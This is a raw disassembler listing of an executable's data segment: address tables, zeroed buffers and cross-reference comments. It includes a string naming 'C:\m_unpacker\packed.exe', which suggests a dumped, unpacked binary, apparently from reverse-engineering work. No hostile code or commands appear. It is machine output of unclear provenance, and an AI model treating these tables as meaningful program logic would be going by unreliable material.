dword_4C9768	dd 71C453F8h		; DATA XREF: sub_408CF8+98Bw
					; sub_408CF8+9F1r ...
dword_4C976C	dd 77DD5C55h		; DATA XREF: start+36r	sub_408CF8+258w ...
dword_4C9770	dd 77E96645h		; DATA XREF: sub_408CF8+7Fw
					; sub_408CF8+DAr ...
dword_4C9774	dd 77428B97h		; DATA XREF: sub_401AC7+5046r
					; sub_401AC7+6BDDr ...
dword_4C9778	dd 71AB41DAh		; DATA XREF: sub_401221+8Cr
					; sub_401AC7+483Dr ...
dword_4C977C	dd 762059A3h		; DATA XREF: sub_408CF8+7CBw
					; sub_408CF8+836r
dword_4C9780	dd 71C4A1B4h		; DATA XREF: sub_408CF8+94Aw
					; sub_408CF8+9C9r
dword_4C9784	dd 1F7CD214h		; DATA XREF: sub_408CF8+BB4w
					; sub_408CF8+BE5r
dword_4C9788	dd 77E09134h		; DATA XREF: sub_408CF8+272w
					; sub_4155B6+47r
dword_4C978C	dd 76D629BBh		; DATA XREF: sub_408CF8+8C0w
					; sub_408CF8+8D4r ...
dword_4C9790	dd 1F7B9D96h		; DATA XREF: sub_408CF8+BCEw
dword_4C9794	dd 77E09070h		; DATA XREF: sub_408CF8+27Fw
					; sub_4155B6+4Fr
dword_4C9798	dd 71AB1740h		; DATA XREF: sub_408CF8+51Aw
					; sub_408CF8+68Er ...
dword_4C979C	dd 7620AFB6h		; DATA XREF: sub_408CF8+7E5w
					; sub_408CF8+819r
dword_4C97A0	dd 77D45B19h		; DATA XREF: sub_408CF8+172w
					; sub_408CF8+1C2r
dword_4C97A4	dd 71AB157Eh		; DATA XREF: sub_401AC7+1986r
					; sub_401AC7+51FCr ...
dword_4C97A8	dd 71AB3E5Dh		; DATA XREF: sub_4017E7+C4r
					; sub_401AC7+48C7r ...
dword_4C97AC	dd 71AB14DCh		; DATA XREF: sub_408CF8+50Dw
					; sub_408CF8+682r ...
dword_4C97B0	dd 0CC0004h		; DATA XREF: sub_408CF8+881w
					; sub_408CF8:loc_409597w ...
dword_4C97B4	dd 77DD590Bh		; DATA XREF: start+Br sub_408CF8+231w	...
dword_4C97B8	dd 71ABD755h		; DATA XREF: sub_401AC7+6B5Cr
					; sub_408CF8+645w ...
dword_4C97BC	dd 77DF7311h		; DATA XREF: sub_408CF8+2D3w
					; sub_408CF8+2E7r ...
dword_4C97C0	dd 77DDA2AFh		; DATA XREF: sub_408CF8+359w
					; sub_408CF8+395r ...
dword_4C97C4	dd 1F7CD927h		; DATA XREF: sub_408CF8+BA7w
					; sub_408CF8+BDDr
dword_4C97C8	dd 76206853h		; DATA XREF: sub_408CF8+7BEw
					; sub_408CF8+82Er
dword_4C97CC	dd 77D5E310h		; DATA XREF: sub_408CF8+18Cw
					; sub_408CF8+1D2r ...
dword_4C97D0	dd 76206B7Fh		; DATA XREF: sub_408CF8+7D8w
					; sub_408CF8+83Er
dword_4C97D4	dd 71AB1444h		; DATA XREF: sub_408CF8+5CAw
					; sub_408CF8+71Ar ...
dword_4C97D8	dd 77DD189Ah		; DATA XREF: start+3Fr	sub_408CF8+265w ...
dword_4C97DC	dd 71AB3F8Dh		; DATA XREF: sub_408CF8+611w
					; sub_408CF8+742r ...
dword_4C97E0	dd 77DD5D20h		; DATA XREF: sub_408CF8+2C6w
					; sub_408CF8+2DAr ...
dword_4C97E4	dd 71AB1890h		; DATA XREF: sub_408CF8+5EAw
					; sub_408CF8+72Ar ...
dword_4C97E8	dd 77C76B34h		; DATA XREF: sub_408CF8+3F2w
					; sub_408CF8+454r
dword_4C97EC	dd 77D5E38Ch		; DATA XREF: sub_408CF8+199w
					; sub_408CF8+1DAr ...
dword_4C97F0	dd 77DDA20Bh		; DATA XREF: sub_408CF8+30Bw
					; sub_408CF8+360r ...
dword_4C97F4	dd 76F36EEBh		; DATA XREF: sub_408CF8+A48w
dword_4C97F8	dd 71AB12A7h		; DATA XREF: sub_408CF8+582w
					; sub_408CF8+6EEr ...
dword_4C97FC	dd 71AB1746h		; DATA XREF: sub_4017E7+3Er
					; sub_401AC7+4879r ...
dword_4C9800	dd 77EBA595h		; DATA XREF: sub_408CF8+4Bw
					; sub_408CF8+C2r ...
dword_4C9804	dd 77C7531Dh		; DATA XREF: sub_408CF8+419w
					; sub_408CF8+471r
dword_4C9808	dd 77D4BDCAh		; DATA XREF: sub_408CF8+165w
					; sub_408CF8+1BAr ...
dword_4C980C	dd 71C3516Ah		; DATA XREF: sub_408CF8+9A5w
					; sub_408CF8+A01r ...
dword_4C9810	dd 71AB32CAh		; DATA XREF: sub_408CF8+62Bw
					; sub_408CF8+752r ...
dword_4C9814	dd 71AB5690h		; DATA XREF: sub_40194F+D1r
					; sub_401AC7+48DCr ...
dword_4C9818	dd 1F7CB8F8h		; DATA XREF: sub_408CF8+BC1w
					; sub_408CF8+BEDr
dword_4C981C	dd 77EBB1E7h		; DATA XREF: sub_408CF8+3Ew
					; sub_408CF8+BAr ...
dword_4C9820	dd 77DD59F0h		; DATA XREF: start+2Ar	sub_408CF8+23Ew ...
dword_4C9824	dd 71AB5DE2h		; DATA XREF: sub_408CF8+5F7w
					; sub_408CF8+732r ...
dword_4C9828	dd 71AB3ECEh		; DATA XREF: sub_408CF8+5DDw
					; sub_408CF8+722r ...
dword_4C982C	dd 76204E4Dh		; DATA XREF: sub_408CF8+81Fw
					; sub_413F23+4DCr
dword_4C9830	dd 0			; DATA XREF: sub_408CF8+112w
dword_4C9834	dd 1F7D886Ah		; DATA XREF: sub_408CF8+B8Dw
					; sub_408CF8+BC8r
dword_4C9838	dd 71AB12F8h		; DATA XREF: sub_401AC7+2A5Fr
					; sub_401AC7+56C7r ...
dword_4C983C	dd 77C76551h		; DATA XREF: sub_408CF8+3FFw
					; sub_408CF8+461r
dword_4C9840	dd 77C729E2h		; DATA XREF: sub_408CF8+440w
					; sub_408CF8+489r
dword_4C9844	dd 77C7212Fh		; DATA XREF: sub_408CF8+40Cw
					; sub_408CF8+469r
dword_4C9848	dd 71AB1AF4h		; DATA XREF: sub_40194F+89r
					; sub_401AC7+48F9r ...
dword_4C984C	dd 77D5E303h		; DATA XREF: sub_408CF8+1A6w
					; sub_408CF8+1E2r ...
dword_4C9850	dd 71C4576Ch		; DATA XREF: sub_408CF8+998w
					; sub_408CF8+9F9r ...
dword_4C9854	dd 77D4702Fh		; DATA XREF: sub_408CF8+158w
					; sub_408CF8+1ADr ...
dword_4C9858	dd 77E6C0E3h		; DATA XREF: sub_408CF8+8Cw
					; sub_408CF8+E2r ...
dword_4C985C	dd 71AB1ED3h		; DATA XREF: sub_408CF8+5B6w
					; sub_408CF8+70Ar ...
dword_4C9860	dd 71B2A381h		; DATA XREF: sub_408CF8+AE9w
					; sub_408CF8+B05r
dword_4C9864	dd 77DDA595h		; DATA XREF: sub_408CF8+2E0w
					; sub_4166AF+55r
dword_4C9868	dd 77DD22EAh		; DATA XREF: sub_408CF8+224w
					; sub_408CF8+279r ...
dword_4C986C	dd 773F97B0h		; DATA XREF: sub_408CF8+B50w
dword_4C9870	dd 76D67A29h		; DATA XREF: sub_408CF8+A92w
					; sub_409C3F+CEr
dword_4C9874	dd 76D674FAh		; DATA XREF: sub_408CF8+A85w
					; sub_408CF8+A8Cr ...
dword_4C9878	dd 71AB3C22h		; DATA XREF: sub_4017E7+A6r
					; sub_401AC7+4858r ...
dword_4C987C	dd 71AB2BBFh		; DATA XREF: sub_401AC7+484Ar
					; sub_401AC7+6B83r ...
dword_4C9880	dd 1F7BA3A9h		; DATA XREF: sub_408CF8+B9Aw
					; sub_408CF8+BD5r
dword_4C9884	dd 71AB401Ch		; DATA XREF: sub_401AC7+19ACr
					; sub_401AC7+5222r ...
dword_4C9888	dd 71C214BAh		; DATA XREF: sub_408CF8+957w
					; sub_408CF8+9D1r ...
dword_4C988C	dd 71AB868Dh		; DATA XREF: sub_408CF8+604w
					; sub_408CF8+73Ar ...
dword_4C9890	dd 71AB1A6Dh		; DATA XREF: sub_40111D+12r
					; sub_4017E7+D0r ...
dword_4C9894	dd 71AB155Ah		; DATA XREF: sub_408CF8+541w
					; sub_408CF8+6B2r ...
dword_4C9898	dd 71B22C25h		; DATA XREF: sub_408CF8+ADCw
					; sub_408CF8+AFDr
dword_4C989C	dd 71AB5A01h		; DATA XREF: sub_408CF8+4E6w
					; sub_408CF8+66Ar ...
dword_4C98A0	dd 71B2ACCBh		; DATA XREF: sub_408CF8+ACFw
					; sub_408CF8+AF0r
dword_4C98A4	dd 77E78C17h		; DATA XREF: sub_401221+52r
					; sub_408CF8+31w ...
dword_4C98A8	dd 77D49A11h		; DATA XREF: sub_408CF8+17Fw
					; sub_408CF8+1CAr
		align 10h
dword_4C98B0	dd 76D62A37h		; DATA XREF: sub_408CF8+8CDw
					; sub_408CF8+8E1r ...
dword_4C98B4	dd 77E6CBF9h		; DATA XREF: sub_408CF8+99w
					; sub_408CF8+EAr ...
dword_4C98B8	dd 0			; DATA XREF: sub_408CF8:loc_408DF6w
					; sub_408CF8+12Bw ...
dword_4C98BC	dd 0			; DATA XREF: sub_408CF8+126w
					; sub_409910+1Cr
dword_4C98C0	dd 0			; DATA XREF: sub_408CF8:loc_408EF3w
					; sub_409910:loc_409958r
dword_4C98C4	dd 0			; DATA XREF: sub_408CF8+1F6w
					; sub_409910+50r
dword_4C98C8	dd 0			; DATA XREF: sub_401221+346r
					; sub_401AC7+3C98r ...
dword_4C98CC	dd 0			; DATA XREF: sub_408CF8+3C4w
					; sub_409910+84r
dword_4C98D0	dd 0			; DATA XREF: sub_408CF8:loc_4091A2w
					; sub_409910:loc_4099C0r
dword_4C98D4	dd 0			; DATA XREF: sub_408CF8+4A5w
					; sub_409910+B8r
dword_4C98D8	dd 0			; DATA XREF: sub_408CF8:loc_409473w
					; sub_409910:loc_4099F4r
dword_4C98DC	dd 0			; DATA XREF: sub_408CF8+776w
					; sub_409910+ECr
dword_4C98E0	dd 0			; DATA XREF: sub_408CF8:loc_40955Ew
					; sub_408CF8+895w ...
dword_4C98E4	dd 0			; DATA XREF: sub_408CF8+890w
					; sub_409910+120r
dword_4C98E8	dd 0			; DATA XREF: sub_401AC7:loc_406640r
					; sub_408CF8:loc_4095F2w ...
dword_4C98EC	dd 0			; DATA XREF: sub_408CF8+8F5w
					; sub_409910+154r
dword_4C98F0	dd 0			; DATA XREF: sub_401AC7+3CA0r
					; sub_408CF8:loc_40970Ew ...
dword_4C98F4	dd 0			; DATA XREF: sub_408CF8+A11w
					; sub_409910+188r
dword_4C98F8	dd 0			; DATA XREF: sub_408CF8:loc_409758w
					; sub_409910:loc_409AC4r
dword_4C98FC	dd 0			; DATA XREF: sub_408CF8+A5Bw
					; sub_409910+1BCr
dword_4C9900	dd 0			; DATA XREF: sub_408CF8:loc_4097A2w
					; sub_409910:loc_409AF8r
dword_4C9904	dd 0			; DATA XREF: sub_408CF8+AA5w
					; sub_409910+1F0r
dword_4C9908	dd 0			; DATA XREF: sub_408CF8:loc_409816w
					; sub_409910:loc_409B2Cr
dword_4C990C	dd 0			; DATA XREF: sub_408CF8+B19w
					; sub_409910+224r
dword_4C9910	dd 0			; DATA XREF: sub_408CF8:loc_409860w
					; sub_409910:loc_409B60r
dword_4C9914	dd 0			; DATA XREF: sub_408CF8+B63w
					; sub_409910+258r
dword_4C9918	dd 0			; DATA XREF: sub_408CF8:loc_4098FEw
					; sub_409910:loc_409B94r
dword_4C991C	dd 0			; DATA XREF: sub_408CF8+C01w
					; sub_409910+28Cr
		dd 2 dup(0)
dword_4C9928	dd 8 dup(0)		; DATA XREF: sub_409D1D+32o
dword_4C9948	dd 0			; DATA XREF: sub_40AB5B+18r
					; sub_40B0F0+92w ...
dword_4C994C	dd 0			; DATA XREF: sub_40B229+4Dr
					; sub_40B43D+D9w ...
		dd 7FEh	dup(0)
dword_4CB948	dd 6 dup(0)		; DATA XREF: sub_40B229+CFo
					; sub_40B229+138o ...
dword_4CB960	dd 0			; DATA XREF: sub_40ABD2+2C4w
					; sub_40ABD2+348o
dword_4CB964	dd 0			; DATA XREF: sub_40ABD2+33Ew
					; sub_40ABD2+35Ar
dword_4CB968	dd 0			; DATA XREF: sub_40ABD2+2CFw
dword_4CB96C	dd 0			; DATA XREF: sub_40ABD2+2B9w
					; sub_40ABD2:loc_40AEE7r
dword_4CB970	dd 20h dup(0)		; DATA XREF: sub_40ABD2+2E2o
					; sub_40ABD2+302o
dword_4CB9F0	dd 0			; DATA XREF: sub_40ABD2+2D5w
dword_4CB9F4	dd 0			; DATA XREF: sub_40ABD2+2EFw
					; sub_40ABD2+30Fw
dword_4CB9F8	dd 0			; DATA XREF: sub_40ABD2:loc_40AF42r
		align 10h
dword_4CBA00	dd 0			; DATA XREF: sub_40ABD2+82w
					; sub_40ABD2+101o
dword_4CBA04	dd 41h dup(0)		; DATA XREF: sub_40ABD2+41o
dword_4CBB08	dd 41h dup(0)		; DATA XREF: sub_40ABD2+69o
dword_4CBC0C	dd 0			; DATA XREF: sub_40ABD2+F7w
					; sub_40ABD2+113r
dword_4CBC10	dd 0			; DATA XREF: sub_40ABD2+52w
dword_4CBC14	dd 0			; DATA XREF: sub_40ABD2+4Dw
					; sub_40ABD2+D4r
dword_4CBC18	dd 20h dup(0)		; DATA XREF: sub_40ABD2+9Ao
					; sub_40ABD2+BAo
dword_4CBC98	dd 0			; DATA XREF: sub_40ABD2+8Fw
dword_4CBC9C	dd 0			; DATA XREF: sub_40ABD2+A7w
					; sub_40ABD2+C7w
dword_4CBCA0	dd 0			; DATA XREF: sub_40ABD2:loc_40ACFBr
		align 8
dword_4CBCA8	dd 0			; DATA XREF: sub_40ABD2+1A5w
					; sub_40ABD2+225o
dword_4CBCAC	dd 41h dup(0)		; DATA XREF: sub_40ABD2+167o
dword_4CBDB0	dd 41h dup(0)		; DATA XREF: sub_40ABD2+18Co
dword_4CBEB4	dd 0			; DATA XREF: sub_40ABD2+21Bw
					; sub_40ABD2+237r
dword_4CBEB8	dd 0			; DATA XREF: sub_40ABD2+17Aw
dword_4CBEBC	dd 0			; DATA XREF: sub_40ABD2+175w
					; sub_40ABD2+1F8r
dword_4CBEC0	dd 20h dup(0)		; DATA XREF: sub_40ABD2+1BEo
					; sub_40ABD2+1DEo
dword_4CBF40	dd 0			; DATA XREF: sub_40ABD2+1B1w
dword_4CBF44	dd 0			; DATA XREF: sub_40ABD2+1CBw
					; sub_40ABD2+1EBw
dword_4CBF48	dd 0			; DATA XREF: sub_40ABD2:loc_40AE1Fr
		align 10h
dword_4CBF50	dd 0			; DATA XREF: sub_40ABD2+417w
					; sub_40ABD2+470o
dword_4CBF54	dd 0A2h	dup(0)		; DATA XREF: sub_40ABD2+405o
dword_4CC1DC	dd 41h dup(0)		; DATA XREF: sub_40ABD2+3CFo
dword_4CC2E0	dd 0			; DATA XREF: sub_40ABD2+3FCw
					; sub_40ABD2+423r
		align 8
dword_4CC2E8	dd 0			; DATA XREF: sub_40ABD2+466w
					; sub_40ABD2+482r
dword_4CC2EC	dd 0			; DATA XREF: sub_40ABD2+429w
dword_4CC2F0	dd 0			; DATA XREF: sub_40ABD2+436w
dword_4CC2F4	dd 0			; DATA XREF: sub_40ABD2+3F6w
		dd 0
dword_4CC2FC	dd 0			; DATA XREF: sub_40ABD2:loc_40B06Ar
		dd 0
dword_4CC304	dd 0			; DATA XREF: sub_40A825+Er
					; sub_40A825+31r ...
dword_4CC308	dd 0			; DATA XREF: sub_40A825+9r
					; sub_40A825+25r ...
dword_4CC30C	dd 82h dup(0)		; DATA XREF: sub_40B69C+8Do
dword_4CC514	dd 2 dup(0)		; DATA XREF: sub_40C005+68o
dword_4CC51C	dd 2080Ah		; DATA XREF: sub_40C9A9+8w
					; sub_40CAA5+2D3o
		dd 0
dword_4CC524	dd 2 dup(0)		; DATA XREF: sub_40CAA5+209o
dword_4CC52C	dd 0			; DATA XREF: sub_40D5C2+1Fr
					; sub_40D60D+BCo ...
dword_4CC530	dd 0			; DATA XREF: sub_40D60D+B7o
					; sub_40D60D+DAr ...
dword_4CC534	dd 0			; DATA XREF: sub_40D60D+9Ao
					; sub_40D60D+CFr ...
dword_4CC538	dd 0			; DATA XREF: sub_40D57F+35r
					; sub_40D60D+95o ...
dword_4CC53C	dd 0			; DATA XREF: sub_40D57F+17r
					; sub_40D5C2+3Dr ...
		dd 0
dword_4CC544	dd 0A49Eh		; DATA XREF: sub_40ABD2+2AEr
					; sub_40D7E2+10w ...
		dd 0
dword_4CC54C	dd 0			; DATA XREF: sub_40A890+1Br
					; sub_40D7F9+27Cw
dword_4CC550	dd 0			; DATA XREF: sub_40E0C5+2Aw
					; sub_40E0C5+51r ...
		align 10h
dword_4CC560	dd 0			; DATA XREF: sub_40F8B7+146r
		align 8
dword_4CC568	dd 0			; DATA XREF: sub_410D0B+4w
					; sub_410D0B+9o
		align 10h
byte_4CC570	db 0			; DATA XREF: sub_411854+1D3w
					; sub_411854+2D2o
		align 2
word_4CC572	dw 0			; DATA XREF: sub_411854+1E3w
word_4CC574	dw 0			; DATA XREF: sub_411854+1E9w
word_4CC576	dw 0			; DATA XREF: sub_411854+1F0w
byte_4CC578	db 0			; DATA XREF: sub_411854+1F7w
byte_4CC579	db 0			; DATA XREF: sub_411854+1FEw
word_4CC57A	dw 0			; DATA XREF: sub_411854+204w
dword_4CC57C	dd 0			; DATA XREF: sub_411854+234w
					; sub_411854+250w
dword_4CC580	dd 0			; DATA XREF: sub_411854+258w
byte_4CC584	db 0			; DATA XREF: sub_411854+26Aw
byte_4CC585	db 0			; DATA XREF: sub_411854+27Dw
word_4CC586	dw 0			; DATA XREF: sub_411854+295w
word_4CC588	dw 0			; DATA XREF: sub_411854+2A4w
word_4CC58A	dw 0			; DATA XREF: sub_411854+29Cw
dword_4CC58C	dd 101h	dup(0)		; DATA XREF: sub_411854+2B9o
dword_4CC990	dd 80h dup(0)		; DATA XREF: sub_401AC7+29D5o
					; sub_401AC7:loc_40454Bo ...
byte_4CCB90	db 0			; DATA XREF: sub_4130EE+19Fw
					; sub_4130EE+278o
		align 2
word_4CCB92	dw 0			; DATA XREF: sub_4130EE+1ACw
word_4CCB94	dw 0			; DATA XREF: sub_4130EE+1B6w
word_4CCB96	dw 0			; DATA XREF: sub_4130EE+1BFw
byte_4CCB98	db 0			; DATA XREF: sub_4130EE+1C6w
byte_4CCB99	db 0			; DATA XREF: sub_4130EE+1CDw
word_4CCB9A	dw 0			; DATA XREF: sub_4130EE+1D4w
dword_4CCB9C	dd 0			; DATA XREF: sub_4130EE+1E1w
dword_4CCBA0	dd 0			; DATA XREF: sub_4130EE+1E9w
word_4CCBA4	dw 0			; DATA XREF: sub_4130EE+242w
word_4CCBA6	dw 0			; DATA XREF: sub_4130EE+22Aw
word_4CCBA8	dw 0			; DATA XREF: sub_4130EE+254w
word_4CCBAA	dw 0			; DATA XREF: sub_4130EE+1F5w
dword_4CCBAC	dd 101h	dup(0)		; DATA XREF: sub_4130EE+263o
dword_4CCFB0	dd 0			; DATA XREF: sub_401AC7+16C2w
					; sub_401AC7+29CDr ...
		align 10h
byte_4CCFC0	db 0			; DATA XREF: sub_4135E0+241o
					; sub_4135E0+250w ...
byte_4CCFC1	db 0			; DATA XREF: sub_4135E0+264w
word_4CCFC2	dw 0			; DATA XREF: sub_4135E0+295w
word_4CCFC4	dw 0			; DATA XREF: sub_4135E0+27Cw
					; sub_4135E0:loc_4139B2w
word_4CCFC6	dw 0			; DATA XREF: sub_4135E0+29Bw
byte_4CCFC8	db 0			; DATA XREF: sub_4135E0+288w
byte_4CCFC9	db 0			; DATA XREF: sub_4135E0+25Dw
word_4CCFCA	dw 0			; DATA XREF: sub_4135E0+3F2w
					; sub_4135E0+41Cw
dword_4CCFCC	dd 0			; DATA XREF: sub_4135E0:loc_4138A9w
					; sub_4135E0+39Ar
dword_4CCFD0	dd 0			; DATA XREF: sub_4135E0+2D6w
word_4CCFD4	dw 0			; DATA XREF: sub_4135E0+394w
					; sub_4135E0+3E8o
word_4CCFD6	dw 0			; DATA XREF: sub_4135E0+335w
					; sub_4135E0+35Ar ...
dword_4CCFD8	dd 0			; DATA XREF: sub_4135E0+30Cw
					; sub_4135E0+3D9w
dword_4CCFDC	dd 0			; DATA XREF: sub_4135E0+328w
					; sub_4135E0+3ABw ...
byte_4CCFE0	db 0			; DATA XREF: sub_4135E0+311r
					; sub_4135E0+31Fw
byte_4CCFE1	db 0			; DATA XREF: sub_4135E0+2DBw
					; sub_4135E0+3A4w ...
word_4CCFE2	dw 0			; DATA XREF: sub_4135E0+2E9w
word_4CCFE4	dw 0			; DATA XREF: sub_4135E0+3F9w
					; sub_4135E0+42Aw
word_4CCFE6	dw 0			; DATA XREF: sub_4135E0+32Ew
word_4CCFE8	dw 0			; DATA XREF: sub_4135E0+360w
					; sub_4135E0+432o
word_4CCFEA	dw 0			; DATA XREF: sub_4135E0+36Fw
					; sub_4135E0+409w
dword_4CCFEC	dd 0			; DATA XREF: sub_4135E0+369w
		dd 2 dup(0)
dword_4CCFF8	dd 0			; DATA XREF: sub_4135E0+39Fw
					; sub_4135E0+417o
dword_4CCFFC	dd 0			; DATA XREF: sub_4135E0+33Bw
byte_4CD000	db 0			; DATA XREF: sub_4135E0+341w
byte_4CD001	db 0			; DATA XREF: sub_4135E0+347w
word_4CD002	dw 0			; DATA XREF: sub_4135E0+354w
dword_4CD004	dd 7 dup(0)		; DATA XREF: sub_4135E0+3EDo
dword_4CD020	dd 0			; DATA XREF: sub_4135E0+30w
					; sub_4135E0+43Br
dword_4CD024	dd 100h	dup(0)		; DATA XREF: sub_4135E0+1C3o
					; sub_4135E0+47Eo
dword_4CD424	dd 1000h dup(0)		; DATA XREF: sub_413B5E+1Do
					; sub_413BFEo ...
dword_4D1424	dd 0			; DATA XREF: sub_413B5E+13o
					; sub_413BFE+Eo ...
dword_4D1428	dd 0Eh dup(0)		; DATA XREF: sub_41444C+Fo
dword_4D1460	dd 0			; DATA XREF: sub_414992+22w
					; sub_414992:loc_414B14w ...
dword_4D1464	dd 0			; DATA XREF: sub_401AC7+371Ao
					; sub_414854+12o ...
		dd 0
dword_4D146C	dd 0			; DATA XREF: sub_414992+1Cr
					; sub_414B34+3Ar
		dd 7Fh dup(0)
dword_4D166C	dd 0			; DATA XREF: sub_414992+28r
					; sub_414B34+4Aw
		dd 0AB8h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: nsp0:off_438904o
		dd 0E8Bh dup(0)
dword_4D7B80	dd 0			; DATA XREF: sub_414B34+23o
dword_4D7B84	dd 81h dup(0)		; DATA XREF: sub_401AC7+3738o
					; sub_414854+3Co ...
dword_4D7D88	dd 17h dup(0)		; DATA XREF: sub_4158BF:loc_4159DCo
					; sub_4158BF+131o ...
dword_4D7DE4	dd 81h dup(0)		; DATA XREF: sub_4165F1+7Co
					; sub_4165F1+A5o
dword_4D7FE8	dd 17h dup(0)		; DATA XREF: sub_4164BD:loc_4165DFo
					; sub_4164BD+12Do
dword_4D8044	dd 81h dup(0)		; DATA XREF: sub_415B7A+4Bo
					; sub_415B7A+7Do ...
dword_4D8248	dd 80h dup(0)		; DATA XREF: sub_415E29+61o
					; sub_415E29+88o ...
dword_4D8448	dd 81h dup(0)		; DATA XREF: sub_415796+33o
					; sub_415796+50o ...
dword_4D864C	dd 0			; DATA XREF: sub_416A7E:loc_416A9Fr
					; sub_416B6D+54r ...
dword_4D8650	dd 0			; DATA XREF: sub_416A7Er
					; sub_416B6D+37r ...
dword_4D8654	dd 0			; DATA XREF: sub_416AAE+1Ar
					; sub_416CC2+83o
dword_4D8658	dd 0			; DATA XREF: sub_416A7E:loc_416A92r
					; sub_416CC2+11Bw
dword_4D865C	dd 0Dh dup(0)		; DATA XREF: sub_416B6D+13o
					; sub_416CC2:loc_416DFFo
dword_4D8690	dd 0			; DATA XREF: sub_416B6D+CDr
					; sub_416B6D+ECr ...
		align 8
dword_4D8698	dd 0Eh dup(0)		; DATA XREF: sub_417249+47o
dword_4D86D0	dd 0			; DATA XREF: sub_4180B6+1B9w
					; sub_4196EC:loc_419768w ...
dword_4D86D4	dd 0			; DATA XREF: sub_4197B4+35w
					; sub_419DC2:loc_419E5Cw ...
dword_4D86D8	dd 0			; DATA XREF: sub_41F514+13Ar
dword_4D86DC	dd 0A28h		; DATA XREF: nsp0:00419CD5w
dword_4D86E0	dd 501h			; DATA XREF: nsp0:00419CCCw
dword_4D86E4	dd 5			; DATA XREF: nsp0:00419CC1w
dword_4D86E8	dd 1			; DATA XREF: nsp0:00419CB3w
dword_4D86EC	dd 1			; DATA XREF: sub_401221:loc_401513r
					; sub_41E8B9+91w
dword_4D86F0	dd 950B00h		; DATA XREF: sub_401221+2FBr
					; sub_401221+31Br ...
		align 8
dword_4D86F8	dd 950A80h		; DATA XREF: sub_41E800+44w
					; sub_421573+9r ...
dword_4D86FC	dd 0			; DATA XREF: sub_421C2C+36r
dword_4D8700	dd 0			; DATA XREF: sub_421573+16r
					; sub_421941+4r ...
		align 8
off_4D8708	dd offset aCM_unpackerPac ; DATA XREF: sub_41E8B9+2Ew
					; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_4D8710	db 0			; DATA XREF: sub_417CE3+2Dw
					; sub_41F4BC+5r
		align 4
dword_4D8714	dd 0			; DATA XREF: sub_417CE3+27w
dword_4D8718	dd 0			; DATA XREF: sub_417CE3+4r
					; sub_417CE3+8Bw
dword_4D871C	dd 0			; DATA XREF: sub_4185F4+3Br
					; sub_4185F4+91w
		dd 0
dword_4D8724	dd 0			; DATA XREF: sub_418C48+Aw
dword_4D8728	dd 0			; DATA XREF: sub_419581+5Er
					; sub_419581+A4w
		align 10h
word_4D8730	dw 0			; DATA XREF: sub_419581+55r
					; sub_419581+9Ao
word_4D8732	dw 0			; DATA XREF: sub_419581+48r
		db 2 dup(0)
word_4D8736	dw 0			; DATA XREF: sub_419581+3Br
word_4D8738	dw 0			; DATA XREF: sub_419581+2Er
word_4D873A	dw 0			; DATA XREF: sub_419581+21r
		align 10h
dword_4D8740	dd 0			; DATA XREF: nsp0:00419D07w
					; sub_41E800:loc_41E812r ...
		align 8
dword_4D8748	dd 0			; DATA XREF: sub_419D79r sub_419D9Er ...
dword_4D874C	dd 0			; DATA XREF: sub_41ADF7r
dword_4D8750	dd 0			; DATA XREF: sub_4178D8:loc_4179D4r
					; sub_417A2Br ...
dword_4D8754	dd 1			; DATA XREF: sub_41B98E:loc_41BB09r
					; sub_41BB27+4w ...
dword_4D8758	dd 0			; DATA XREF: sub_41BF2B+37r
		align 10h
dword_4D8760	dd 0			; DATA XREF: sub_41D4BE+11r
					; sub_41D5C2+1Ar ...
byte_4D8764	db 0			; DATA XREF: sub_41D4BE+3r
					; sub_41D4BE+98r ...
		align 4
dword_4D8768	dd 0			; DATA XREF: sub_41D5C2+11r
					; sub_41D6A0+21w ...
byte_4D876C	db 0			; DATA XREF: sub_41D6A0+51w
		align 10h
dword_4D8770	dd 0			; DATA XREF: sub_41D896+4Er
					; sub_41DC71+3Ar ...
dword_4D8774	dd 0			; DATA XREF: sub_41D896+5Cr
					; sub_41DC71+43r ...
dword_4D8778	dd 0			; DATA XREF: sub_418ECE+7Ar
					; sub_41DA3D+5r
dword_4D877C	dd 0			; DATA XREF: sub_41E04C+29r
dword_4D8780	dd 2 dup(0)		; DATA XREF: sub_419660+Co
dword_4D8788	dd 0			; DATA XREF: sub_419A9C+4r
					; sub_419A9C+9Dr ...
		dd 3 dup(0)
dword_4D8798	dd 0			; DATA XREF: sub_419B84+61r
					; sub_419B84+BFr ...
		align 10h
dword_4D87A0	dd 1			; DATA XREF: sub_41E3D5+28r
					; sub_41E3D5+4Cw ...
dword_4D87A4	dd 0			; DATA XREF: sub_41E624+3Ar
					; sub_41E624+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41E8B9:loc_41E8D0o
					; nsp0:off_4D8708o
		align 4
		dd 3Ah dup(0)
dword_4D88AC	dd 1			; DATA XREF: sub_41EB06+2r
					; sub_41EB06+23w ...
dword_4D88B0	dd 0			; DATA XREF: sub_41EEC4+21r
dword_4D88B4	dd 0			; DATA XREF: sub_41AE12+154w
					; sub_41BF2B:loc_41BF54w ...
dword_4D88B8	dd 0			; DATA XREF: sub_41AE12+7r
dword_4D88BC	dd 1			; DATA XREF: sub_41F7CD+26r
					; sub_41F7CD:loc_41F837w
word_4D88C0	dw 0			; DATA XREF: sub_4200C9+1Ao
					; sub_4200C9+46r
byte_4D88C2	db 0			; DATA XREF: sub_4200C9+39r
		align 4
dword_4D88C4	dd 7 dup(0)		; DATA XREF: sub_4200C9+52o
dword_4D88E0	dd 0			; DATA XREF: sub_4200C9+40w
					; sub_4200C9+5Co
dword_4D88E4	dd 0			; DATA XREF: sub_4200C9+4Dw
dword_4D88E8	dd 0			; DATA XREF: sub_4200C9+31w
dword_4D88EC	dd 0			; DATA XREF: sub_4200C9+52w
dword_4D88F0	dd 77C26E79h		; DATA XREF: sub_4201EC:loc_42020Fr
					; sub_4201EC+38r ...
		align 8
dword_4D88F8	dd 0			; DATA XREF: sub_4202CC+11w
					; sub_4202CC+63w ...
		align 10h
dword_4D8900	dd 0			; DATA XREF: sub_4202CC+33o
					; sub_4202CC+46r
dword_4D8904	dd 10h dup(0)		; DATA XREF: sub_4202CC+C1o
word_4D8944	dw 0			; DATA XREF: sub_42052A+A8r
word_4D8946	dw 0			; DATA XREF: sub_4202CC+54r
					; sub_42052A+DBr ...
word_4D8948	dw 0			; DATA XREF: sub_42052A+CAr
word_4D894A	dw 0			; DATA XREF: sub_42052A+D3r
					; sub_42052A:loc_42061Cr
word_4D894C	dw 0			; DATA XREF: sub_42052A+C0r
